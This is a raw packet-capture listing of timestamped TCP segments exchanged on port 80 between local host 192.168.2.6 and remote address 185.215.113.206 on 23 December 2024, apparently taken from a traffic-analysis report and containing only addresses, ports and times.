Dec 23, 2024 06:54:25.834585905 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.835608006 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.835621119 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.835671902 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.836678982 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.836692095 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.836739063 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.837795019 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.837852955 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.837963104 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.838012934 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.838603020 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.838654041 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.838711977 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.838761091 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.839963913 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.839987040 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.840018988 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.840039015 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.840924978 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.840939045 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.840981960 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.841830015 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.841882944 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.841931105 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.841979027 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.842951059 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.843002081 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.843157053 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.843204975 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.843957901 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.844007969 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.844077110 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.844125032 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.845048904 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.845103025 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.845139980 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.845186949 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.846107006 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.846152067 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.846182108 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.846223116 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.847217083 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.847268105 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.847307920 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.847362041 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.848289967 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.848364115 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.848381996 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.848426104 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.850816965 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.850830078 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.850845098 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.850857019 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.850878000 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.850908041 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.851552010 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.851600885 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.851773024 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.851821899 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.852726936 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.852777004 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.852875948 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.852924109 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.853647947 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.853694916 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.853746891 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.853795052 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.855101109 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.855151892 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.855283976 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.855330944 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.855948925 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.855998993 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.856132030 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.856203079 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.856865883 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.856924057 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.857059002 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.857192993 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.858077049 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.858141899 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.858189106 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.858237982 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.859175920 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.859194040 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.859246969 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.860259056 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.860275030 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.860320091 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.861335993 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.861393929 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.861499071 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.861560106 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.862258911 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.862308025 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.862344980 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.862385988 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.863323927 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.863385916 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.863580942 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.863646030 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.864573002 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.864588022 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.864628077 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.864644051 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.865447044 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.865493059 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.865685940 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.865725040 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.866638899 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.866695881 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.866816998 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.866874933 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.867592096 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.867647886 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.867711067 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.867754936 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.868808031 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.868872881 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.868957043 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.869004965 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.869875908 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.869941950 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.870049953 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.870104074 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.870951891 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.871005058 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:25.871007919 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:25.871047974 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.006825924 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.006856918 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.006963015 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.007394075 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.007417917 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.007451057 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.007484913 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.008352995 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.008403063 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.008461952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.008501053 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.009341955 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.009399891 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.009553909 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.009598970 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.010541916 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.010605097 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.010699034 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.010747910 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.011518955 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.011565924 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.011869907 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.011919022 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.012739897 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.012795925 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.012873888 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.012918949 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.013736963 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.013787031 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.013911009 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.013957024 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.014905930 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.014959097 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.014997959 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.015038967 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.016145945 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.016168118 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.016196012 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.016218901 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.016983986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.017034054 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.017132998 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.017180920 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.018135071 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.018156052 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.018192053 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.018219948 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.019099951 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.019150972 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.019231081 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.019278049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.020136118 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.020185947 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.020282984 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.020327091 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.021169901 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.021219015 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.021353960 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.021393061 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.022665024 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.022677898 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.022713900 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.022737026 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.023458958 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.023473978 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.023505926 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.023530006 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.024411917 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.024461985 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.024534941 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.024585009 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.025479078 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.025528908 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.026321888 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.026369095 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.028090954 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.028109074 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.028125048 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.028136969 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.028146029 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.028167009 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.028199911 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.028897047 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.028943062 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.029041052 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.029083014 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.030133009 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.030150890 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.030179024 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.030201912 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.030827045 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.030874968 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.030951977 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.030997038 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.032082081 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.032105923 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.032129049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.032152891 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.033039093 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.033086061 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.033202887 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.033243895 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.034245968 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.034296036 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.034384012 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.034426928 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.035295963 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.035356998 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.035459042 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.035504103 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.036330938 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.036377907 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.036510944 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.036556959 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.037389994 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.037441969 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.037584066 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.037631989 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.038500071 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.038551092 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.038646936 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.038688898 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.039465904 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.039513111 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.039611101 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.039654970 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.040621996 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.040673971 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.040760040 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.040805101 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.041683912 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.041735888 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.041831970 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.041878939 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.042799950 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.042850018 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.042865992 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.042903900 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.043800116 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.043847084 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.043983936 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.044028997 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.044997931 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.045012951 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.045062065 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.045084000 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.046020985 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.046073914 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.046175957 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.046221018 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.047014952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.047065020 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.047194004 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.047240973 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.048078060 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.048125029 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.048409939 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.048456907 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.049263000 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.049305916 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.049400091 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.049437046 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.050436020 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.050465107 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.050489902 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.050512075 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.051302910 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.051352024 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.051434994 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.051477909 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.052485943 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.052578926 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.052632093 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.052671909 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.053668976 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.053689003 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.053719997 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.053736925 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.054688931 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.054709911 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.054738045 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.054759026 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.055660009 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.055708885 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.055818081 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.055864096 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.056669950 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.056720018 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.056850910 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.056898117 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.057693958 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.057744980 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.057948112 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.057995081 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.058871984 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.058921099 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.059024096 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.059067965 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.060045004 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.060060024 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.060096979 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.060151100 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.061120033 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.061170101 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.061291933 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.061336994 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.062169075 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.062217951 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.062346935 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.062390089 CET	49889	80	192.168.2.6	185.215.113.206
